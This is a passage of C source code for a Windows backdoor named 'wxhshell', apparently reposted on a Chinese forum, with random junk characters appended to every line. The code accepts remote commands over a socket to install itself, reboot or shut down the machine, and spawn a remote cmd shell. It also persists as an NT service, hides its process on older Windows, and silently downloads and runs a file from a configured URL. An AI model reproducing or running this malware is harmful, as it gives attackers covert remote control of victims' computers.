    switch(cmd[0]) { Q @OC=  
  vV\F^  
  // 帮助 -,fa{yt-  
  case '?': { a.&#dxgW[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); . (*kgv@3x  
    break; H^PqYLj N  
  } _ kSPUP5  
  // 安装 +V+*7s%fL  
  case 'i': { r~G]2*3  
    if(Install()) *[1u[H9Cv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6n6VEwYj  
    else s@)"IdSA(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EfBVu  
    break; !k= 0X\5L  
    } &Wz`>qYL*  
  // 卸载 BUA6(  
  case 'r': { Fx[A8G  
    if(Uninstall()) rq(~/Yc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[}yf#8@J  
    else c<h!QnJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gz[ym j)5  
    break; e=n{f*KG`  
    } F`BgKH!  
  // 显示 wxhshell 所在路径 HLoQ}oK|K  
  case 'p': { l@Eq|y,  
    char svExeFile[MAX_PATH]; Q(;B)  
    strcpy(svExeFile,"\n\r"); w^'?4M!  
      strcat(svExeFile,ExeFile); .xLF}{u  
        send(wsh,svExeFile,strlen(svExeFile),0); C=dx4U~   
    break; *n*N|6 +  
    } PZ!dn%4jy  
  // 重启 yhtvr5z1  
  case 'b': { bhqq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~ S?-{X+  
    if(Boot(REBOOT)) h\u0{!@}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qzH qj;  
    else { .KU SNrs'  
    closesocket(wsh); n:bB$Ai2  
    ExitThread(0); 9"HmHy&:E  
    } \Ul.K!b7  
    break; |DFvZ6}  
    } e@,u`{C[  
  // 关机 :Hf0Qx6  
  case 'd': { 4$?w D <  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zOao&  
    if(Boot(SHUTDOWN)) inPdV9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =(|xU?OL  
    else { C7jc6(> m  
    closesocket(wsh); JwI`"$ > w  
    ExitThread(0); =,C9O  
    } 3u?`q%Y-e  
    break; y3KcM#[  
    } ra9cD"/J &  
  // 获取shell =##s;zj(%  
  case 's': { i (%tHa37  
    CmdShell(wsh); orB8Q\p'  
    closesocket(wsh); d@D;'2}Yc  
    ExitThread(0); X@yr$3vC  
    break; e:$7^Y,U/  
  } /Oggt^S  
  // 退出 %7NsBR!y  
  case 'x': { W<rTq0~$?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $@_<$t  
    CloseIt(wsh); ,XeyE;||  
    break; U50s!Z t45  
    } $/, BJ/9  
  // 离开 Y[ iDX#  
  case 'q': { )H;pGM:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C?w <$DU  
    closesocket(wsh); &$b\=  
    WSACleanup(); TDAWI_83-  
    exit(1); .B 85!lCF  
    break; P>{US1t  
        } @ kJ0K  
  } w*<Y$hnBzF  
  } BLL]^qN;Y  
"+n4c'  
  // 提示信息 _}I(U?Q-C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H:q)^$s  
} a@fE46o6<  
  } z29qARiX  
pK6e/eC  
  return; aE7u5 PM  
} %ezb^O_6v  
ggm2%|?X  
// shell模块句柄 *3_f &Y  
int CmdShell(SOCKET sock) uq!;  
{ <$ i"zb  
STARTUPINFO si;  cS D._"P  
ZeroMemory(&si,sizeof(si)); ocIt@#20 K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4#^'lKIx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YH)Opk  
PROCESS_INFORMATION ProcessInfo; O ;X(pE/G  
char cmdline[]="cmd"; 9TVB<}0G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SUH mBo"}  
  return 0; o~v_PD[S  
} :W.jNV{e\F  
]a$Wxvgq  
// 自身启动模式 Dd!Sr8L[  
int StartFromService(void) ex` xkZ+  
{ *'9)H 0  
typedef struct 0$eyT-:d  
{ ~9JW#HHzn  
  DWORD ExitStatus; |'V DI]p&  
  DWORD PebBaseAddress; O!+nF]V4f  
  DWORD AffinityMask; I#|ocz  
  DWORD BasePriority; .q0218l:dF  
  ULONG UniqueProcessId; w`c0a&7  
  ULONG InheritedFromUniqueProcessId; \4h>2y  
}   PROCESS_BASIC_INFORMATION; K-J|/eB  
La"o)L +m_  
PROCNTQSIP NtQueryInformationProcess; g d337jw  
Sao>P[#x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *:=];1 O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UGhW0X3k  
(;;J,*NP  
  HANDLE             hProcess; pOqGAD{D$  
  PROCESS_BASIC_INFORMATION pbi; DE*MdfP0  
*0%4l_i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )n\*ht7  
  if(NULL == hInst ) return 0; SU?wFCGT%  
i(Ip(n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JN9^fR09G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xzl KP;r0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r1i$D  
`IEq@Wr#$!  
  if (!NtQueryInformationProcess) return 0; v"z (JF  
IFiTTIlT0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %mY|  
  if(!hProcess) return 0; 6( >3P  
Dn~Z SrJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  f>.4-a?  
`WH[DQ  
  CloseHandle(hProcess); F\>oxttS1  
ZlthYuJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j((hqJr  
if(hProcess==NULL) return 0; \ ,>_c  
?VFM ]hO  
HMODULE hMod; w[ Axs8N'  
char procName[255]; ,LhE shf  
unsigned long cbNeeded; -#hK|1]  
Q]< (bD.7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +"'F Be  
]]>nbgGn#  
  CloseHandle(hProcess); H76E+AY  
}<vvxi  
if(strstr(procName,"services")) return 1; // 以服务启动 Vy]A,Rn7  
B,3 t`  
  return 0; // 注册表启动 Mv|vRx^b  
} p1+7 <Y:  
|y.zo cBj  
// 主模块 r=h8oUNEJ*  
int StartWxhshell(LPSTR lpCmdLine)  cp$.,V  
{ :@.C4oq  
  SOCKET wsl; :~yzDk\I"-  
BOOL val=TRUE; CE)*qFs  
  int port=0; :`D'jF^S  
  struct sockaddr_in door; Q Q@9_[N  
*5 e<\{!  
  if(wscfg.ws_autoins) Install(); }04Dg '  
YU&4yk lE  
port=atoi(lpCmdLine); aiYo8+{!#  
$4=Ne3 y  
if(port<=0) port=wscfg.ws_port; aC`Li^  
}/20%fP  
  WSADATA data; y =R aJm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NdZ)[f:2  
0f1H8zV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P*0f~eu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `%|u!  
  door.sin_family = AF_INET; *xPB<v2N:P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ugno]5Ni  
  door.sin_port = htons(port); Qh^R Ax  
/mc*Hc 8R8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dgXg kB'  
closesocket(wsl); ] GNh)  
return 1; I-,>DLG  
} pDGT@qJ  
Rfht\{N 7  
  if(listen(wsl,2) == INVALID_SOCKET) { =nzFd-P  
closesocket(wsl); %*6RzJO6  
return 1; sc%dh?m7  
} H.:9:I[n  
  Wxhshell(wsl); KGu= ;  
  WSACleanup(); `qE4U4  
qYiv   
return 0; GWgd8x*V  
OZ^h\m4  
} V7:\q^$  
r&SO:#rOSM  
// 以NT服务方式启动 !nwbj21%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SZ/(\kQ6  
{ \*uugw,\y  
DWORD   status = 0; @l{I[pp  
  DWORD   specificError = 0xfffffff; )S2iIi;Bq  
G;NB\3 ~X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AP0|z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I]jX7.fx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y1iX!m~)  
  serviceStatus.dwWin32ExitCode     = 0; ?;^5ghY$  
  serviceStatus.dwServiceSpecificExitCode = 0; (k8Z=/N~  
  serviceStatus.dwCheckPoint       = 0; /_q#a h  
  serviceStatus.dwWaitHint       = 0; M|k&TTV  
vO]J]][  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); to'j2jP  
  if (hServiceStatusHandle==0) return; ,ijW(95{k  
)A"jVQjI%w  
status = GetLastError(); PK+ x6]x  
  if (status!=NO_ERROR) &U&Zo@ot"x  
{ uN9e:;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ailG./I+  
    serviceStatus.dwCheckPoint       = 0; +#~O'r]%GG  
    serviceStatus.dwWaitHint       = 0; dMJ!>l>2  
    serviceStatus.dwWin32ExitCode     = status; RyuEHpN}  
    serviceStatus.dwServiceSpecificExitCode = specificError; t@)my[!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8"i/wMP]  
    return; M6_-f ;.  
  } r{S=Z~J  
4:U0f;Fs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dKm`14f]@G  
  serviceStatus.dwCheckPoint       = 0; Jn*Nao_)  
  serviceStatus.dwWaitHint       = 0; 9:-T@u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0R|K0XH#$  
} Z(HZB  
$T),DUYO  
// 处理NT服务事件,比如:启动、停止 p.C1nh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cz#_<8'N  
{ Fj^AW v^/  
switch(fdwControl) &hI>L  
{ 333u]  
case SERVICE_CONTROL_STOP:  %}h`+L  
  serviceStatus.dwWin32ExitCode = 0; "y$ qrN-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9#Y2`p T  
  serviceStatus.dwCheckPoint   = 0; zmb@*/fK  
  serviceStatus.dwWaitHint     = 0; p![&8i@ym  
  { vU}: U)S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s`c?:  
  } j=W@P-  
  return; *Tp]h 0  
case SERVICE_CONTROL_PAUSE: vTd- x>n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >jMH#TZaX  
  break; "15=ET  
case SERVICE_CONTROL_CONTINUE: ]G*$W+G]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /lJjQ]c;>  
  break; >S'>!w  
case SERVICE_CONTROL_INTERROGATE: z h%qS~8Yv  
  break; 2ce'fMV  
}; O&V[g>x"U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ZlM?Q  
} ;& ~929  
6e# wR/  
// 标准应用程序主函数 ;&kn"b}G;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6vobta^w  
{ \Yq0 zVol  
"0-y*1/m  
// 获取操作系统版本 qlUzr.^-  
OsIsNt=GetOsVer(); B+46.bIH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ! =WcF5  
H)5QqZ8  
  // 从命令行安装 tpo>1|  
  if(strpbrk(lpCmdLine,"iI")) Install(); F7T E|LZ  
]fE3s{y &-  
  // 下载执行文件 p=B?/Sqa  
if(wscfg.ws_downexe) { y(v_-6b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -B 9S}NPo  
  WinExec(wscfg.ws_filenam,SW_HIDE); q- :4=vkn  
} yW("G-Nm  
d}-'<Z#G  
if(!OsIsNt) { xNX'~B^4d  
// 如果时win9x,隐藏进程并且设置为注册表启动 j#3m|dQ  
HideProc(); TQJF+;%  
StartWxhshell(lpCmdLine); t',BI  
} 2y kCtRe  
else 9p`r7:  
  if(StartFromService()) JIxiklk  
  // 以服务方式启动 M&yqfb[  
  StartServiceCtrlDispatcher(DispatchTable); J=*K"8Qr  
else ]"sRS`0+  
  // 普通方式启动 v[&'k\  
  StartWxhshell(lpCmdLine); ,I`_F,  
tD-gc ''H  
return 0; ?3jdg]&  
}
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只看该作者 1 发表于: 2006-10-10
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